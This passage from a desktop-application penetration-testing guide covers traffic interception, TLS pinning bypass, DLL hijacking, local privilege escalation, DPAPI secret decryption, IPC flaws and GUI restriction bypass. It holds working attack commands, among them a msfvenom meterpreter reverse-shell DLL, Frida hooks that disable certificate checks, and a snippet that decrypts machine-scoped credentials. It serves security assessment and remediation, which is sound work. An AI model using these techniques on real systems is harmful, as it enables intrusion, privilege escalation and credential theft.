<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FVxalB1Z22rmDjw2wgFic%2Fimage.png?alt=media&amp;token=82c4d7a0-7397-4be3-b173-b3dc5ca52be8" alt=""><figcaption></figcaption></figure>

</details>

## Phase 4 · Network & Traffic Interception

<details>

<summary>4.1 Why Burp alone is not enough</summary>

Burp is an **HTTP** proxy. It picks a destination from the `Host` header or a `CONNECT` request, and its editor assumes HTTP framing. A raw TCP protocol — TDS, TNS, a proprietary length-prefixed binary — supplies neither, so Burp has nothing to route on and nothing to parse. Pick your route from what the app actually speaks:

```
Is the payload HTTP?
├── Yes, and the app honours system proxy settings  → Burp directly
├── Yes, but the app ignores proxy settings         → hosts file + Burp invisible proxy
│                                                      or Proxifier / ProxyCap
└── No (raw TCP / binary / DB protocol)
    ├── App can be pointed at a new host            → PETEP or mitm_relay → Burp
    └── App refuses redirection, or pins TLS        → Deluder (Frida hooks) → PETEP
```

</details>

<details>

<summary>4.2 The toolkit, with maintenance status</summary>

| Tool                                                          | What it does                                                                                                     | Status                                                                                   |
| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
| [Deluder](https://github.com/Warxim/deluder)                  | Frida-based hooking of WinSock, OpenSSL, GnuTLS and SChannel — reads **plaintext before encryption**             | **Actively maintained. The modern Echo Mirage replacement**                              |
| [PETEP](https://github.com/Warxim/petep)                      | GUI TCP/UDP proxy with TLS, STARTTLS, scripting, and an External HTTP Proxy module that tunnels TCP through Burp | Low activity, still the best GUI for sustained binary work                               |
| [mitm\_relay](https://github.com/jrmdev/mitm_relay)           | Encapsulates any protocol into HTTP so Burp can read and edit it                                                 | Maintained — default for quick work                                                      |
| [MITM\_Intercept](https://github.com/cyberark/MITM_Intercept) | Similar, with stronger TLS handling and `SSLKEYLOGFILE` support                                                  | Stale (2022) but functional                                                              |
| [bettercap](https://github.com/bettercap/bettercap)           | Lab-segment MitM, `tcp.proxy` module                                                                             | Maintained                                                                               |
| Burp invisible proxy                                          | Accepts connections with no `Host` header, via hosts-file redirection                                            | —                                                                                        |
| [Proxifier](https://www.proxifier.com/) / ProxyCap            | Force a proxy-unaware application through a proxy at the Winsock layer                                           | Commercial                                                                               |
| Wireshark / tcpdump                                           | Read-only analysis — learn the framing before you write a relay script                                           | Maintained                                                                               |
| Echo Mirage                                                   | Legacy Windows proxy using DLL injection and function hooking                                                    | **No live official distribution; newest primary reference is 2006.** Use Deluder instead |

{% hint style="success" %}
**Hooking beats proxying.** Deluder hooks `SSL_write` / `SSL_read` (OpenSSL) and `EncryptMessage` / `DecryptMessage` (SChannel), so you read plaintext **without touching certificates at all** — no CA import, no pinning bypass, no TLS MitM. Try this before you write a pinning bypass.
{% endhint %}

```bash
# Deluder — launch or attach, hook TLS, forward to PETEP
deluder config > config.json
deluder run -c config.json "C:/Program Files/Target/Target.exe"
deluder attach -s schannel,openssl -i log 12000
deluder run --debug --interceptors log,proxifier,log --scripts schannel,openssl "C:/Target.exe"
```

```bash
# mitm_relay — wrap raw TCP into HTTP so Burp can edit it
python3 mitm_relay.py -r tcp:1433:10.0.0.5:1433 -c burp.pem -k burp.key -p 127.0.0.1:8080
```

```
# MITM_Intercept — -m handles "I don't know yet whether this port is TLS"
mitm_intercept.py -m -l 127.0.0.1:1433 -t 10.0.0.5:1433 -lc cert.pem -lk key.pem -p 127.0.0.1:8080
```

{% hint style="warning" %}
**Expect friction.** Many thick clients open a **new source port per connection**, so per-port rules need re-checking against TCPView and re-adding several times during a session. This is the protocol's behaviour, not your mistake.
{% endhint %}

</details>

<details>

<summary>4.3 Burp invisible proxy — the documented path</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FDhbPKluCdCzltoo5ATH5%2Fimage.png?alt=media&amp;token=62384b07-99a4-4d08-89b5-febfc89934e0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FKJw9yLUfjoLierSTktdm%2Fimage.png?alt=media&amp;token=b7593b6c-23ed-4724-bfa8-ea49a5173c98" alt=""><figcaption></figcaption></figure>

1. Map the app's domain to yourself in `C:\Windows\System32\drivers\etc\hosts`: `127.0.0.1 api.target.com`
2. Create an **invisible** Proxy listener on each port the app uses (80, 443, or whatever TCPView showed).

Three failure modes, all documented by PortSwigger, all of which you will hit:

| Symptom                        | Cause                                                          | Fix                                                                                                                           |
| ------------------------------ | -------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- |
| Infinite loop                  | The hosts entry sends Burp's own outbound request back to Burp | Use the listener's **redirection settings** (one destination) or **hostname resolution overrides** (several)                  |
| Burp cannot route the request  | The client sent no `Host` header                               | One destination → listener redirection. Several → **a separate listener per host**                                            |
| Client rejects the certificate | No SNI, so Burp falls back to a **static self-signed cert**    | Configure a CA-signed certificate for that hostname on the listener; one virtual interface + one listener + one cert per host |

{% hint style="info" %}
**Burp's "SOCKS proxy" and "upstream proxy" are both&#x20;*****outbound*****.** Neither makes Burp accept SOCKS from a client. To put Burp *behind* a raw-TCP interceptor, chain mitm\_relay/PETEP **→** Burp (`-p 127.0.0.1:8080`, or PETEP's External HTTP Proxy module). Use SOCKS/upstream only to pivot Burp's own egress.
{% endhint %}

**PETEP's killer feature:** its External HTTP Proxy module tunnels TCP inside HTTP through Burp or ZAP, and repeated packets work while the connection is alive — which makes **Burp Repeater and Intruder usable against a raw TCP stream**.

</details>

<details>

<summary>4.4 TLS — know which trust store the app reads</summary>

Decide this *before* generating certificates. Getting it wrong is the most common reason an interception setup "just doesn't work".

| Stack                                             | Trust source                                 | How to get in                                                                                                                                                         |
| ------------------------------------------------- | -------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| SChannel (WinINet, WinHTTP, most .NET on Windows) | Windows certificate store                    | `certutil -addstore -f Root burp_ca.der`, or `certlm.msc` → Trusted Root CAs                                                                                          |
| Chromium / Electron **renderer**                  | OS store                                     | Same as above                                                                                                                                                         |
| Electron **main process** (Node `http`/`https`)   | Node's **bundled** CA list, not the OS store | `NODE_EXTRA_CA_CERTS=/path/burp.pem` — gated by the `enableNodeOptionsEnvironmentVariable` fuse                                                                       |
| Java                                              | Its own `cacerts`                            | `keytool -importcert -trustcacerts -alias burp -file burp.der -keystore "$JAVA_HOME/lib/security/cacerts" -storepass changeit`                                        |
| Statically linked OpenSSL / BoringSSL / NSS       | Its own bundle                               | Grep the install dir for `cacert.pem`, `ca-bundle.crt`, `cert.pem`, `*.jks`, `*.p12`, `cert9.db` — **replace the app's own bundle** rather than fighting the OS store |

**Certificate pinning.** Symptoms: the handshake fails *only after* your CA is trusted, or the session resets right after the `Certificate` message. Find the check statically first — look in the imports for `CertVerifyCertificateChainPolicy`, `CertGetCertificateChain`, `WinVerifyTrust`, or a hardcoded SHA-256/SPKI comparison near the TLS setup. Then, in order of effort:

1. **Deluder's `openssl` + `schannel` scripts** — sidesteps validation entirely. Try this first.
2. **Frida on OpenSSL** — hook `SSL_CTX_set_verify` and force the mode argument to `0` (`SSL_VERIFY_NONE`). Caveat: if the app installs a **custom verify callback**, forcing the mode alone is not enough — also look at `SSL_CTX_set_custom_verify` and `X509_verify_cert`.
3. **Frida on SChannel** — hand-written `Interceptor.attach` on `CertVerifyCertificateChainPolicy` / `WinVerifyTrust`, forced to a success return. There is no maintained off-the-shelf script for this; confirm the argument layout against the MSDN signature before you patch.
4. **Byte-pattern patching** when there is no exported symbol — locate the verification routine by signature, as is done for statically linked stacks.

Frida hooks break whenever the target's build changes. Re-verify after every app update.

**`SSLKEYLOGFILE` — read-only but zero-friction:**

```bash
export SSLKEYLOGFILE=/tmp/keys.log && ./TargetApp        # must be set BEFORE capture
chrome.exe --ssl-key-log-file="C:\keys.txt"              # Chromium family
```

Wireshark → TLS preferences → **"(Pre)-Master-Secret log filename"**, or `tshark -o 'tls.keylog_file:/tmp/keys.log' -r capture.pcap`. Two caveats: `--ssl-key-log-file` is **not** in Electron's documented switch list (it usually works via the embedded Chromium stack — test per app), and for OpenSSL-linked apps the variable is honoured **only if the application enables the keylog callback**.

</details>

<details>

<summary>4.5 Protocol-specific notes</summary>

**MSSQL / TDS** — the structural fact: the TDS `PRELOGIN` message is sent **before** the TLS handshake, so a relay sees it in cleartext even on an encrypted session.

| Connection-string setting                          | What it means for you                                                                                                                                                                         |
| -------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `Encrypt=false`                                    | Login packet and payload in cleartext — read it straight off the wire                                                                                                                         |
| `Encrypt=true` + **`TrustServerCertificate=true`** | Client encrypts but **does not validate** → your relay's own cert is accepted, no CA import needed. **This is the finding to hunt**, and it is what makes the rest of the assessment possible |
| `Encrypt=true`, validation on                      | You need a certificate the client trusts                                                                                                                                                      |
| **`Encrypt=Strict`** (TDS 8.0)                     | `TrustServerCertificate` cannot skip validation; TLS wraps the session from the start                                                                                                         |

Driver defaults moved: **Microsoft.Data.SqlClient 4.0** changed `Encrypt` to default `True`, and **ODBC Driver 18** encrypts by default. Confirm what was negotiated server-side with `sys.dm_exec_connections` (`encrypt_option`).

**Oracle TNS** — Wireshark decodes TCP/1521 as TNS by default; use **Decode As** for other ports, and expect partial decoding of result sets. **Oracle Native Network Encryption is not decryptable from a capture.** With client-side access you can set `SQLNET.ENCRYPTION_CLIENT=rejected` in `sqlnet.ora` — *if the server accepts the downgrade, that is itself a finding.* Note the initial connect descriptor is plaintext regardless, leaking service names and hosts.

**WebSockets** — Burp's **WebSockets history is always populated, even with Intercept off**; check it before concluding nothing is flowing. Messages can be sent to Repeater and resent. For Electron, `--proxy-server=host:port` covers WebSocket traffic. Heavier work: [SocketSleuth](https://github.com/snyk/socketsleuth), [WSSiP](https://github.com/nccgroup/wssip).

**gRPC / protobuf** — Burp has **no native gRPC support**.

```bash
# grpcurl attempts server reflection by default — reflection left on is a real finding
grpcurl -plaintext target:50051 list
grpcurl -plaintext target:50051 describe mypackage.MyService.Method
grpcurl -plaintext -d '{"id":1}' target:50051 mypackage.MyService/GetThing
```

Use [blackboxprotobuf](https://github.com/nccgroup/blackboxprotobuf) (PyPI: `bbpb`) in Burp — it decodes and edits arbitrary protobuf **without the `.proto` definition**. It does not auto-detect protobuf under gRPC-web; set the type manually.

</details>

<details>

<summary>4.6 Redirecting a stubborn client</summary>

| Trick                                                      | When to use it                                                                                                                                                                                    |
| ---------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Hosts file** + Burp invisible listener                   | First choice; needs the listener redirection settings to avoid a loop                                                                                                                             |
| **Local DNS server** on the adapter                        | The app ignores `/etc/hosts` (statically linked resolvers, Go binaries, some .NET paths)                                                                                                          |
| **`--host-resolver-rules="MAP api.target.com 127.0.0.1"`** | Chromium/Electron targets (note: `--host-rules` is deprecated)                                                                                                                                    |
| **Edit the server address in the app's own config**        | Often the fastest and least fragile. `.exe.config` `<connectionStrings>` / `<endpoint address>`, Electron's `app.asar` or `app.asar.unpacked`, Java `.properties`, `HKCU\Software\<Vendor>\<App>` |
| **ARP spoof** with bettercap `tcp.proxy`                   | Lab segment you own only — never a shared corporate LAN                                                                                                                                           |
| **Frida hook on `connect` / `WSAConnect` / `ConnectEx`**   | The app resolves and connects in a way you cannot intercept otherwise                                                                                                                             |

{% hint style="danger" %}
An app that reads its **server address from a user-writable location** is a finding in its own right — record the original value and report it. Redirecting the client to a host you control is also how you test whether the app validates the server at all.
{% endhint %}

If you hand-write the socket redirect, hook the **whole set** — `connect`, `WSAConnect`, **and `ConnectEx`** — plus the IPv6 path. Missing `ConnectEx` is the usual reason a hook "doesn't work". The `sockaddr` must be rewritten in `onEnter`, before the original call runs. In practice, prefer Deluder, which already hooks the full WinSock set.

</details>

<details>

<summary>4.7 What to look for in the traffic</summary>

* **Readable payloads.** A packet showing a customer's data in clear text is the proof; "no encryption observed" is not. Screenshot the payload.
* **The filter field.** Note which parameter the backend actually keys on — `email`, `userId`, `accountNo`. That single fact is what makes your Phase 6 tampering work.
* **Fields with no UI counterpart** — `isAdmin`, `role`, `price`, `discount`, `verified`. See §6.2; these are the richest targets on the page.
* **Credentials on the wire** — a third independent confirmation of the secrets you already found in the binary and the config.
* **Downgrade behaviour** — does the client proceed when you strip TLS, present an invalid certificate, or refuse the negotiated cipher?

</details>

## Phase 5 · Client-Side Attacks

<details>

<summary>5.1 DLL hijacking</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FU1p3PtrPFA7LfFmmZR5v%2Fimage.png?alt=media&amp;token=050a1dc1-9e27-4c4e-af2a-27800fbf70c5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2FmG1QZaoOFfwxVdyBvCE2%2Fimage.png?alt=media&amp;token=a145d488-711e-4162-9a6f-6033c89496c5" alt=""><figcaption></figcaption></figure>

A DLL is prebuilt code the app loads at runtime. The vulnerability is not in the DLL but in **how the developer asks for it** — by name instead of by full path, from a folder a standard user can write to.

#### The search order, accurately

With SafeDllSearchMode **enabled** (the default since XP SP2), the loader checks, in order: DLL redirection → API sets → SxS manifest → already-loaded modules → **KnownDLLs** → (Win11 22000+) the package dependency graph → **the application's folder** → System32 → 16-bit system → Windows → **the current directory** → `PATH`. With safe mode **disabled**, the current directory jumps up to right after the application folder.

```cmd
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v SafeDllSearchMode
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs"
```

{% hint style="info" %}
**Two facts decide what is hijackable.** (1) A name in **KnownDLLs** is resolved from the cached system copy before any folder is searched — planting `kernel32.dll` beside an EXE does nothing. So your candidate set is every imported module **not** in KnownDLLs. (2) Microsoft's own loader note: *"If a DLL has dependencies, then the system searches for the dependent DLLs as if they were loaded by using only their module names. That's true even if the first DLL was loaded by specifying a full path."* A hardened `LoadLibrary("C:\full\path\a.dll")` does **not** protect `a.dll`'s own imports.
{% endhint %}

#### Two conditions, both required

|                                                                                                           |                                                                    |
| --------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| **(1) Loaded by name with no path** — the loader walks the search order                                   | Find it: Procmon `NAME NOT FOUND` on a `.dll` path (§1.3)          |
| **(2) You can write to a folder earlier in that order than the real DLL** — usually the app folder itself | Prove it: `icacls` / `accesschk` shows `Users` with write/add-file |

Either alone is not exploitable: no writable folder = nowhere to drop; no name-only load = the app never looks.

```cmd
icacls "C:\Program Files\Vendor\App"
accesschk.exe -uwdqs "Users" "C:\Program Files\Vendor\App"
```

#### Variants worth knowing

* **Phantom DLL** — the app references a module that **no longer ships** (removed in a later version, or a build leftover). The load fails benignly today; drop a file with that exact name and it succeeds.
* **DLL side-loading** — supply both a legitimate (usually signed) host EXE **and** your DLL, and run the pair from a folder you control, so your code executes inside a trusted signed process image.
* **`.local` / DotLocal redirection** — a file or directory named `App.exe.local` in the app folder forces the loader to check the app folder **first, even for fully-qualified loads**. Microsoft: *"redirection applies both to full path and partial name loading."* It defeats the path-hardening fix if the app folder is writable. Machine-wide gate: `DevOverrideEnable` under `Image File Execution Options`.
* **WinSxS / manifest redirection** — an external `App.exe.manifest` beside the binary resolves at search step 3, before KnownDLLs; replaceable by anyone who can write that folder.

#### DLL proxying — keep the app alive

Replacing a DLL the app actually uses usually crashes it with "Entry Point Not Found", because your stub lacks the real exports. A **proxy DLL** exports the same names and **forwards each call to the real library**, so execution runs in `DllMain` while the app keeps working — the hijack is non-crashing and silent.

Two mechanisms:

```c
// build-time export forwarding (composed from Microsoft's documented EXPORTS
// forwarder grammar + the #pragma comment(linker, "/export: definition") directive)
#pragma comment(linker, "/export:SomeExport=real_module.SomeExport")
```

```
# after-the-fact export cloning — copies the whole export table onto the stub
NetClone.exe --target C:\Windows\System32\version.dll --reference .\stub.dll --output version.dll
```

`dumpbin /exports planted.dll` printing `real_module.SomeExport` in place of an RVA is the artefact that proves a proxy rather than a stub.

| Tool                                                             | Role                                                                                                                      |
| ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
| [Spartacus (sadreck fork)](https://github.com/sadreck/Spartacus) | Turns a Procmon `.pml` into `VulnerableDLLFiles.csv` + a Visual Studio proxy solution; `--mode com --acl` also covers COM |
| [Siofra](https://github.com/Cybereason/siofra)                   | Static model aware of API sets and WinSxS/manifest overrides (2017, unmaintained — fewest false positives)                |
| [Robber](https://github.com/MojtabaTajik/Robber)                 | Candidate list with a **per-directory writability flag** and an elevation flag; JSON/CSV                                  |
| [DLLSpy](https://github.com/cyberark/DLLSpy)                     | Evaluates writability **as the interactive user** (duplicated `explorer.exe` token) — the right privilege model for LPE   |
| [Koppeling](https://github.com/monoxgas/Koppeling)               | Reference implementation of export cloning / adaptive hijacking                                                           |

{% hint style="success" %}
**The payoff is the host process's token.** Code loaded into a process inherits that process's privileges — the DLL does not grant SYSTEM, the host process does. Against an app running as the ordinary user, the same hijack yields only that user's rights; against a service or an app configured to run as `NT AUTHORITY\SYSTEM`, it yields SYSTEM. **Record the run-as account first** (`sc.exe qc`, System Informer) — it is the whole severity.
{% endhint %}

**Execution (lab):** generate a payload DLL with `msfvenom` (`-p windows/x64/meterpreter/reverse_tcp -f dll`), copy it into the application folder under the missing file's name, start the listener, launch the app → shell in the host process's context.

**Fix:** a full path guarantees *location*, not *contents* — if the folder is writable, the path protects nothing (and `.local` defeats it outright). The real controls, together: `SetDefaultDllDirectories(LOAD_LIBRARY_SEARCH_SYSTEM32)` + `SetDllDirectory("")` early in init; harden the app-folder ACL so standard users cannot write; **signature-verify** every module the app loads (`WinVerifyTrust` with `WINTRUST_ACTION_GENERIC_VERIFY_V2`, checking the return is **zero** — not `SUCCEEDED()`); and do not run as SYSTEM.

{% hint style="info" %}
**The same defect class is not limited to DLLs.** Any file an application loads by name with no integrity check is the same bug — an ATM that loaded idle-screen advertisement images from a writable path let an attacker replace the image with their own. A DLL is just the version that executes code.
{% endhint %}

</details>

<details>

<summary>5.2 Local privilege escalation from the install</summary>

An installed desktop app frequently creates the conditions for LPE. These are triage findings — each needs the **three-artefact join**: the misconfiguration, *writable by whom*, and *runs as whom*. A writable binary under an account that is only ever the logged-on user is not a privilege boundary.

{% hint style="warning" %}
**`wmic` is removed** on Windows 11 24H2 and later. Use the CIM/PowerShell forms below.
{% endhint %}

#### Unquoted service paths

A service `ImagePath` with spaces and no quotes makes `CreateProcess` try `C:\Program.exe`, then `C:\Program Files\Sub.exe`, etc. — so a planted `C:\Program.exe` runs as the service account.

```powershell
Get-CimInstance Win32_Service |
  Where-Object { $_.PathName -and $_.PathName -notmatch '^\s*"' -and
                 ($_.PathName -replace '\s+-.*$','') -match '\s' -and
                 $_.PathName -notmatch '^\s*[A-Za-z]:\\Windows\\' } |
  Select-Object Name, StartName, StartMode, PathName
sc.exe qc "<ServiceName>"          # confirm BINARY_PATH_NAME + SERVICE_START_NAME
```

Proof = `sc qc` showing an unquoted path **and** `SERVICE_START_NAME : LocalSystem` **and** `icacls C:\` / `icacls "C:\Program Files"` showing an interceptable directory writable by `Users`. Fix: quote the path — `sc.exe config <svc> binPath= "\"C:\Program Files\Vendor\app.exe\" -args"`.

#### Weak service ACLs — two distinct conditions

* **Binary/dir ACL (a):** a user can replace the service EXE or a DLL it loads → next start runs their code as the service account.
* **Service-object ACL (b):** a user holds `SERVICE_CHANGE_CONFIG`, `WRITE_DAC` or `WRITE_OWNER` → they rewrite `binPath=` or the run-as account directly, no file write needed.

```cmd
:: Microsoft's own example: every service Users can reconfigure
accesschk.exe -uwcqv "Users" *
accesschk.exe -ucqv  "<ServiceName>"        :: -v names SERVICE_CHANGE_CONFIG explicitly
sc.exe sdshow "<ServiceName>"
```

`SERVICE_CHANGE_CONFIG` for a non-admin SID is the finding — Microsoft: *"Because this grants the caller the right to change the executable file that the system runs, it should be granted only to administrators."* Capture the same commands against an in-box service (e.g. `Spooler`) as a negative control, so the deviation is visible rather than asserted.

#### Run-as-SYSTEM, AlwaysInstallElevated, scheduled tasks, updaters

```cmd
:: services running as SYSTEM that need not be (the severity multiplier)
sc.exe qc "<svc>"      &  sc.exe qprivs "<svc>"

:: AlwaysInstallElevated — BOTH keys = any user installs an MSI as SYSTEM
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```powershell
# scheduled tasks: task -> principal -> action binary -> ACL
Get-ScheduledTask | ForEach-Object { $t=$_; foreach($a in $t.Actions){
  [pscustomobject]@{ Task=$t.TaskName; User=$t.Principal.UserId; RunLevel=$t.Principal.RunLevel
    Exe=$a.Execute; Acl=(& icacls ([Environment]::ExpandEnvironmentVariables(($a.Execute)+'')) 2>$null) -join ' ' } } } |
  Where-Object { $_.RunLevel -eq 'Highest' -or $_.User -match 'SYSTEM' }
```

**Insecure auto-updater** — the highest-value of these on a modern app. Test two things: (a) is the update manifest/payload fetched over plain `http://`? (b) does the client verify the Authenticode signature of what it downloaded? The decisive proof is a **modified-but-still-accepted payload**: change one byte of the staged binary (invalidating its signature) and show the updater still runs it.

```powershell
Get-AuthenticodeSignature 'C:\ProgramData\Vendor\Update\staged.exe' | Select Status, SignerCertificate
icacls 'C:\ProgramData\Vendor\Update'        # is the staging dir user-writable?
```

Run the standard scripts for breadth, but every hit still needs the three-artefact join: [PrivescCheck](https://github.com/itm4n/PrivescCheck) (`-Audit -Report CSV,HTML`), [winPEAS](https://github.com/peass-ng/PEASS-ng), [Seatbelt](https://github.com/GhostPack/Seatbelt) (`-group=all -outputfile=out.json`). PowerUp is archived (Jan 2021) — use it only to reproduce historical findings.

#### Secrets at rest — the OS stores

| Store                      | Enumerate                                             | The auditor's question                                         |
| -------------------------- | ----------------------------------------------------- | -------------------------------------------------------------- |
| Credential Manager / Vault | `cmdkey /list` (lists targets, **not** passwords)     | Did the app store it here, at what scope?                      |
| DPAPI blobs                | [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) | **User**-scoped or **machine**-scoped?                         |
| `%PROGRAMDATA%` files      | `icacls`, `accesschk`                                 | Any local user can **read** it, and often **create** beside it |

{% hint style="danger" %}
**DPAPI scope is the whole finding, and it is provable.** A blob protected with `CRYPTPROTECT_LOCAL_MACHINE` is decryptable by **any process on that machine** — Microsoft: *"Any user on the computer where the encryption was done can decrypt the data."* Demonstrate it: create a second unprivileged local account, log in as it, and unprotect the first account's blob —

```powershell
Add-Type -AssemblyName System.Security
$b = [IO.File]::ReadAllBytes('C:\ProgramData\Vendor\App\creds.dat')
[Text.Encoding]::UTF8.GetString([Security.Cryptography.ProtectedData]::Unprotect($b,$null,'LocalMachine'))
```

Success as account B against account A's file **is** the proof; a user-scoped blob fails here (your negative control). SharpDPAPI's `machinemasterkeys` needing admin is a *different* claim — the unprivileged read above is the one that establishes the boundary crossing.
{% endhint %}

On `%PROGRAMDATA%`: the default ACL gives `Users` **read/execute on everything** and **create** of new files/folders — not modify/delete of another principal's file. So "any user can read the secret, and can plant a file the app later loads" is accurate; "any user can overwrite existing files" is not, unless the installer loosened the ACL (which they routinely do). **Enumerate the real ACL; never assume the default**, and prove disclosure by reading the file **as a second account**.

</details>

<details>

<summary>5.3 IPC attack surface</summary>

Desktop apps expose local IPC that is often unauthenticated because "it's only local."

#### Named pipes

```powershell
Get-ChildItem \\.\pipe\                              # list every pipe
Import-Module NtObjectManager
(Get-NtFile '\??\pipe\VendorAppPipe' | Get-NtSecurityDescriptor).ToSddl()
```

```cmd
accesschk.exe -qv "\pipe\VendorAppPipe"              # note the \pipe\ prefix
pipelist.exe -accepteula
```

{% hint style="danger" %}
**`NULL` passed to `CreateNamedPipe` is not a NULL DACL** — it is a default descriptor that still grants `Everyone` **read**. A true **NULL DACL** (`D:NO_ACCESS_CONTROL` in SDDL, or `DaclPresent == $false`) grants full access to any caller: *"A null DACL grants full access to any user that requests it; normal security checking is not performed."* Either way, if a SYSTEM service reads commands from a pipe any user can write, every message is an unauthenticated cross-boundary API.
{% endhint %}

Two risk directions: the server **fails to impersonate** (or never tries) and acts on the client's request **in its own SYSTEM context** — a confused deputy; or, because a server holding `SeImpersonatePrivilege` impersonates *the last message's* security context, coercing a privileged process to connect to **your** pipe hands you its token. Microsoft's own warning: *"If the calling process is running as a privileged account, it can perform actions that the client would not be allowed to perform"* when `ImpersonateNamedPipeClient` is not checked. Note too that `FILE_GENERIC_WRITE` on a pipe also confers **instance creation** (pipe squatting), so a write-for-Users ACL is high-severity, not cosmetic.

Fix: explicit restrictive `lpSecurityAttributes` (never NULL DACL), minimum specific rights not `FILE_GENERIC_WRITE`, the **logon SID** on the DACL to block other sessions, `FILE_FLAG_FIRST_PIPE_INSTANCE`, and always check the `ImpersonateNamedPipeClient` return before acting.

#### COM/DCOM, window messages, local sockets

* **COM/DCOM** — [OleViewDotNet](https://github.com/tyranid/oleviewdotnet) (run under Windows PowerShell 5.1) enumerates CLSIDs/AppIDs, their `LaunchPermission`/`AccessPermission` and `RunAs`. The findings: an AppID granting launch/activate to `Everyone`/`Users` with `RunAs = LocalSystem`; a standard user with `KEY_SET_VALUE` on a `CLSID\{GUID}\InprocServer32` key (COM hijacking); or an `InprocServer32` naming a DLL by bare name or a phantom path. Always record which privileged process activates the class.
* **Window messages** — UIPI blocks messages sent **upward** across an integrity boundary (a medium-IL process cannot drive an elevated window). It does **not** restrict peers at the **same** integrity in the same session, and an app that calls `ChangeWindowMessageFilterEx(..., MSGFLT_ALLOW)` on a data-bearing message (`WM_COPYDATA`, a custom `WM_USER+n`) has voluntarily published an unauthenticated IPC endpoint any same-IL process can call. Grep the imports for `ChangeWindowMessageFilter`.
* **Local TCP listeners on 127.0.0.1** — enumerate and probe:

```powershell
Get-NetTCPConnection -State Listen | Where LocalAddress -in '127.0.0.1','::1','0.0.0.0' |
  Select LocalAddress, LocalPort, OwningProcess,
    @{n='Proc';e={(Get-Process -Id $_.OwningProcess).ProcessName}}
```

{% hint style="warning" %}
**"localhost only" is not an authentication boundary.** (1) Any web page the user visits can `fetch()` the loopback port — the response is unreadable cross-origin, but for any endpoint with a side effect the request already did the work. Browser vendors are retrofitting Local Network Access permission prompts precisely because loopback is reachable from the public web. (2) **Loopback is shared by every session on the machine** — it has no DACL, so on a terminal server or shared host every local account and every sandboxed process can connect. A named pipe can be ACL'd with the logon SID; a TCP socket cannot. Prefer a named pipe / ALPC / COM endpoint with an explicit DACL over a localhost socket for any privileged IPC.
{% endhint %}

Proof here is: open **+** reachable from another principal or another origin **+** the request does something privileged. A port merely being open is informational.

</details>

<details>

<summary>5.4 GUI-layer control bypass</summary>

<figure><img src="https://2308035028-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FWeYzWCIl8fzqyot9mus5%2Fuploads%2Fxe7uUE2Uce60EmgYgWIF%2Fimage.png?alt=media&amp;token=9effa0d9-9d75-40ac-9b11-b0ab2593b7c2" alt=""><figcaption></figcaption></figure>

The classic "the restriction is only in the UI" finding. Desktop apps grey out buttons, hide fields and mask passwords on the client — and the backend never re-checks.

| Target                                                                | Win32 tool                                                                                                                                          | WPF tool                                                                                     |
| --------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| Read class, styles, handle, message traffic                           | [Spy++](https://learn.microsoft.com/en-us/visualstudio/debugger/introducing-spy-increment) (match bitness — `spyxx_amd64.exe` for 64-bit)           | [Snoop](https://github.com/snoopwpf/snoopwpf) (hold `Ctrl+Shift` to snoop disabled controls) |
| Edit styles / re-enable / unhide                                      | [WinSpy++](https://catch22.net/projects/winspy/), [Window Detective](https://windowdetective.sourceforge.io/) ("edit window styles" / "set styles") | Snoop → set `IsEnabled` / `Visibility` on the live element                                   |
| Invoke a control's action directly, bypassing the enabled-state check | [Inspect](https://learn.microsoft.com/en-us/windows/win32/winauto/inspect-objects) → **Action → `Invoke.Invoke`** (UISpy is obsolete; use Inspect)  | —                                                                                            |
| Reveal a masked password                                              | WinSpy++ "retrieve passwords from password-edit controls"; or `EM_SETPASSWORDCHAR` with `wParam = 0` then `WM_GETTEXT`                              | —                                                                                            |

* **Re-enable a disabled button** — clear the `WS_DISABLED` style (WinSpy++ edit-styles, or `EnableWindow(hCtl, TRUE)`); for WPF set `IsEnabled = true` in Snoop; for UI Automation, `Invoke.Invoke` calls the handler directly and skips the visual-layer enabled check entirely.
* **Unhide a hidden field** — set `WS_VISIBLE` / `ShowWindow(SW_SHOW)`, or flip `Visibility` in Snoop. A field the UI chose not to render is often still in the form's data model and still submitted — unhiding it reveals both the field and that the server accepts it.
* **Unmask a password** — `EM_SETPASSWORDCHAR` with `wParam = 0` repaints the real characters (Microsoft documents this style as runtime-mutable via that message).

{% hint style="danger" %}
**Re-enabling your own button is not a vulnerability.** You own the process, the window and the memory — rearranging your own UI crosses no boundary. The finding exists only when the re-enabled action is **accepted by the backend**. The complete demonstration is three steps: show the restriction and the style that implements it; remove it and trigger the action; **capture the request and the server's response showing the privileged operation succeeded** — and show that the same request sent directly (curl/Burp), bypassing the UI entirely, is accepted. Without the server half it is a UX observation, not broken access control.
{% endhint %}

